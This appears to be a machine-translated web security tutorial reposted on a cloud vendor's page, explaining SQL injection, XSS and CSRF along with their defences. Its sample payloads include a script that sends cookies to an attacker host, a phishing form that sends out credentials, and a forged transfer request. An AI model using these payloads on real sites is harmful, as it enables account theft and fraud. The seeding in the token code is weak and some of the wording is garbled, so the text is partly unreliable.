Xss,csrf,sql Injection of Web defense

Source: Internet
Author: User
Tags comments sql injection sql injection attack csrf attack

Summary: Attacks on Web servers can also be said to be various, a wide variety of common, such as hanging horses, SQL injection, buffer overflow, sniffing, using IIS and other attacks against webserver vulnerabilities. This article combines the common SQL injection, cross-site Scripting Attack (XSS), cross-site request forgery (CSRF) attack in Web TOP10, and introduces the corresponding precautionary method.
Key Words: SQL injection, XSS,CSRF
1.SQLinjected
The so-called SQL injection attack is an attacker inserting a SQL command into a Web form's input domain or a page request query string, tricking the server into executing a malicious SQL command. An attacker would trick the database server into executing an unauthorized query and tampering with the command by adding an extra SQL statement element at the end of the application's predefined SQL statement.
It can easily bypass the firewall directly to access the database, and even get the database on the server's system permissions. In a Web application vulnerability, the risk of a SQL injection vulnerability is higher than all other vulnerabilities.
Attack principle


Hypothetical sign-in query

SELECT * FROM users WHERE login = ' Victor ' and password = ' 123

Sever-side Code

String sql = "SELECT * from users WHERE login = '" + formusr + "' and password = '" + formpwd + "'";

Input character

FORMUSR = ' or 1=1

Formpwd = Anything

The actual query code

SELECT * FROM users WHERE username = ' or 1=1 and password = ' anything '


easy way to find injection points
1. Look for a Web page with a URL for the query string (for example, query for URLs with "id=" in the URL).
2. Send a request to this website and change the id= statement with an extra single quotation mark (for example: id=123 ').
3. Look for the returned content, where you can find keywords such as "SQL", "statement" (which also means that the specific error message is returned, which is inherently bad). Such as:



4. If the error message indicates that the parameter sent to the SQL Server is not correctly encoded, then the SQL injection attack can be made on the Web site.
How to preventSQLInjection Attack
A common mistake is that if you use a stored procedure or ORM, you are completely protected from SQL injection attacks. This is not true, and you still need to be sure that you are cautious when passing data to a stored procedure, or that you are doing it safely when you use ORM to customize a query.
Parameterized queries are considered to be the most effective defense against SQL injection attacks. The current mainstream ORM framework is built-in support and is recommended for durable layer encapsulation in this way.
The so-called parameterized query (parameterized query or parameterized Statement) refers to the use of parameters (Parameter) to give values when designing a link to a database and accessing data, where values or data need to be populated.
Cases:
SELECT * from myTable WHERE MyID = @myID

INSERT into myTable (c1, C2, C3, C4) VALUES (@c1, @c2, @c3, @c4) or INSERT into myTable (c1, C2, C3, C4) VALUES (?,?,?,?)
Pass (?) Specify placeholders, of course, when adding parameters, you must add them in the order of (C1, C2, C3, C4), or you will get an error.

2.Cross-site scripting attacks(XSS)
The XSS full name (cross site Scripting) multi-site Scripting attack is the most common vulnerability in Web applications.  An attacker embeds a client script (such as JavaScript) in a Web page, and when the user browses to the page, the script executes on the user's browser to achieve the attacker's purpose. For example, get the user's cookie, navigate to a malicious website, carry a Trojan horse, etc.
Attack principle

If the page resembles the next input box

<input type= "text" name= "record" value= "Sofa" >

The "sofa" is the input from the user, if the user enters "onfocus=" alert (document.cookie)

Then it will become

<input type= "text" name= "Address1" value= "onfocus=" alert (document.cookie) ">

The embedded JavaScript code will be executed when the event is triggered.

The power of the attack depends on what kind of script the user has entered.

   XSScategory
   1.Reflective TypeXSS
Reflective XSS, also known as non-persistent XSS. This is referred to as reflective XSS because the injected code for this attack is "reflected" from the target server by means of error messages, search results, and so on. and is called non-persistent XSS, because this attack mode has one-time. The attacker sent a malicious link containing the injected script to the victim via e-mail, and when the victim clicked on the link, the injection script was transferred to the target server, and the server then "reflected" the injected script to the victim's browser to execute the script on the browser.
For example, the attacker sends the following link to the victim:
Http://www.targetserver.com/search.asp?input=<script>alert (Document.cookie);</script>
When the victim clicks on the link, the injected script is sent to the target server's Search.asp page as the search keyword, and the script is embedded in the search result's return page as the keyword of the search. That way, the script is executed when the user gets the search results page. This is the principle of the Reflex XSS attack, and it can be seen that the attacker cleverly exploits the reflex XSS to execute the script on the victim's browser. Because the code injects a dynamically generated page rather than a permanent page, this attack only works when the link is clicked, which is why it is called a non-persistent XSS.
   2.Storage TypeXSS
Storage-type XSS, also known as persistent XSS, the biggest difference between him and reflective XSS is that the attack script will be permanently stored in the database and files of the target server. This attack is seen in forums where attackers inject malicious script with normal information into the content of a post as they post. As posts are stored by the forum server, malicious scripts are permanently stored in the backend memory of the forum server. When other users browse the post that was injected with a malicious script, the malicious script will be executed in their browser and thus be attacked.
   XssHazard
   1.StealingCookies
With XSS attacks, because the injected code is executed on the victim's browser, it is easy to steal the cookie information from the victim. For example, we just inject code similar to the following:
<script>location.replace ("http://www.attackpage.com/record.asp?secret=" +document.cookie) </script>
When the victim's browser executes the script, it automatically accesses the attacker's website www.attackpage.com, opens the recourd.asp, and records the cookie information from the victim's browser. In this way, the attacker gets the user's cookie information.
Once the victim's cookie information is obtained, the attacker can easily impersonate the victim and thus have all the permissions on the target server, which is tantamount to stealing the identity of the victim.
   2.Phishing Attack
The so-called phishing attack is to build a phishing page that lures the victim into entering some sensitive information and sending it to the attacker. With the injection script of XSS, we can also easily inject the code of the Phishing page to guide the phishing attack. For example, the following piece of code:

<script>

function Hack () {
Location.replace ("http://www.attackpage.com/record.asp?username=" +document.forms[0].user.value + "password=" + Document.forms[0].pass.value);
}

</script>
<form>
<br> <H3> login required for this feature:

<br><br> Please enter your username:<br>
<input type= "text" id= "user" name= "user" >
<br> Enter your password:<br>
<input type= "password" name = "Pass" >
<br><input type= "Submit" name= "Login" value= "login" onclick= "hack ()" >
</form>




After injecting the above code, it will insert a form on the original page, require the user to enter their user name and password, and when the user clicks the "Login" button, the hack () function will be executed to send the user's input to the attacker's designated website. This allows the attacker to successfully steal the user's account information. Unlike the usual phishing attacks, XSS-guided phishing attacks are modified by users ' trusted Web pages.
   3. CSRF Attack
For example, we inject the following HTML code:
&LT;IMGSRC = "http://www.bank.com/transfer.do?toact=123456&money=10000>
If the above code accesses a transfer service from a bank's website, the victim's browser runs the script and transfers the funds to the attacker-specified account (example 123456). Since this transfer request is run in the victim's browser, the browser will also automatically send the victim's cookie information. In this way, the request is sent as if the victim had sent it himself, and the bank website would also acknowledge the legality of the request, and the attacker would have achieved the purpose of the forgery request.
   4. Spreading Malicious software
In addition to injecting malicious scripts directly, attackers can easily introduce malicious software such as viruses, Trojans, worms, and so on, in scripts, through XSS attacks. For example, an attacker could place some malicious software on a page of his own creation and then insert a script that refers to the page in an XSS-injected manner. This way, when the victim's browser executes the script, it automatically accesses the page where the malware is placed and is infected by the malware.
   XSS of prevention
   1. Input Filtering
Detect all of the user's input data, such as filtering "<", ">", "/" and other special characters that may cause script injection, or filtering script keywords such as "script", "JavaScript", or restricting the length of input data, etc. At the same time, we should also consider that the user may bypass ASCII code, using hexadecimal encoding to enter the script. Therefore, the hexadecimal encoding of the user input, we also have to filter the corresponding. As long as you can strictly detect each interaction point, to ensure that all user input can be detected and XSS filtering, can effectively prevent XSS attacks.
   2. Output Encoding
By analyzing the XSS attack before, we can see that an XSS attack occurs because the Web application embeds the user's input directly into a page as part of the HTML code for that page. As a result, when the Web application outputs the user's input data to the target page, the data is encoded first using tools such as Htmlencoder and then exported to the target page. This way, if the user enters some HTML script, it will also be treated as plain text, and will not be executed as part of the target page HTML code.
   3. Cookies Anti-Theft
With XSS attacks, attackers can easily steal cookie information from legitimate users. Therefore, for cookies, we can take the following measures. First of all, we want to avoid the disclosure of privacy in the cookie, such as user name, password, etc., secondly, we can use the cookie information with MD5 and other hash algorithm to store after multiple hashes, again, in order to prevent replay attacks, we can also bind the cookie and IP, This can also prevent an attacker from impersonating a normal user.

As an ordinary network user, we can take the following measures in the prevention of XSS attacks. First of all, we should not easily believe in e-mail or web pages of unknown links, these links are likely to lead reflective XSS attacks or access to some unsafe web pages. Second, we can disable scripting when unnecessary, so that the scripts that are injected by XSS cannot be run.
3. CSRF Attack
CSRF (Cross-site request forgery), Chinese name: cross-site requests forgery, also known as: one click Attack/session Riding, abbreviated as: CSRF/XSRF.
You can understand that. CSRF attack: An attacker steals your identity and sends a malicious request on your behalf. The things that CSRF can do include: Send mail in your name, message, steal your account, even buy goods, virtual money transfer ... Issues include: personal privacy breaches and property security.
   CSRF Vulnerability Status
Csrf This attack method in 2000 has been put forward by foreign security personnel, but at home, until 06 began to be concerned, 08, a number of large communities and interactive sites at home and abroad, respectively, CSRF loopholes, such as: NYTimes.com (New York Times), MetaFilter (a large blog site), YouTube and Baidu Hi ... Now, many sites on the Internet remain defenseless, so that the security industry calls CSRF "the Sleeping Giant".
principle
Site A: for malicious websites.
Site B: The site that the user is logged on to.
When the user accesses a station, a station privately accesses the operation Link of B station, simulates the user operation.
Suppose B Station has a link to delete comments: http://b.com/comment/?type=delete&id=81723
A station directly access the link, you can delete the user's comments at station B.
   CSRF Defensive Skills
   1. Verification Code
Almost everyone knows the verification code, but the verification code is not only used to prevent the registration machine brute force, but also can effectively prevent CSRF attack. Verification code is the most concise and effective way to fight against CSRF attacks. However, the problem with verification code is that it is not possible to enter a verification code on all user operations. Only a few key operations are required to enter the verification code. But with the development of HTML5. Using the canvas tag, the front-end can also recognize the character of the captcha, allowing CSRF to take effect.
   2.Token
CSRF can attack success, the root cause is: The parameters of the operation is the attacker guessed. Now that we know the root cause, we have the right remedy and use token. When passing parameters to the server, take the token. This token is a random value and is held by both the server and the user. When a user submits a form with a token value, the server can verify that the token in the form and session is consistent.
Token generation sample code is as follows
  

private static SecureRandom Securerandom=null;
public static String Createtoken () {
if (securerandom==null) {
String entoropy= "logonsessionentoropy" + system.currenttimemillis ();
try {
SecureRandom = Securerandom.getinstance ("sha1prng");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException (e);
}
Securerandom.setseed (Entoropy.getbytes ());
}
byte bytes[]=new byte[16];
Securerandom.nextbytes (bytes);
byte[] base64bytes = Base64.encode (bytes);
return new String (base64bytes);
}

Xss,csrf,sql Injection of Web defense

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.